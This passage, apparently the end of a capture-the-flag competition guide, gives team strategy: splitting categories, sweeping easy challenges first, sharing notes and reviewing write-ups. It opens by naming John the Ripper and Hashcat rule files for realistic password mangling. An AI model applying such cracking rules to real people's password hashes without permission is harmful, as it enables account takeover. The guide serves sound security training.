Hash cracking rules	John/Hashcat best64.rule, OneRuleToRuleThemAll.rule for realistic human password mangling
CTF-specific flag formats	Check the competition's own rules page — always confirm exact prefix/braces before assuming a default

How Winning Teams Actually Play

Competition mindset & team tactics

Divide and conquer as a team
Assign categories by teammate strength; don't all pile onto the same challenge unless truly stuck as a team.

Solve easy challenges FIRST, everywhere
Points-per-minute matters — sweep every category's easiest challenges before diving deep into one hard one.

Use the challenge's point value as a difficulty hint
Lower points usually means intentionally simple — if you're overcomplicating a low-point challenge, step back.

Announce partial progress to your team immediately
A half-solved crypto challenge might click instantly for a teammate who's better at math — don't sit on partial clues alone.

Keep a shared notes doc during the competition
Offsets, cracked passwords, and partial flags found in one challenge often unlock a LATER challenge in the same CTF.

After the CTF ends, ALWAYS read other teams' write-ups
This is how top players actually get better — every event you don't review is a stack of techniques you didn't learn.

Remember: the scoreboard rewards **points per minute**, not perfection on one challenge. Sweep easy wins first, go deep second.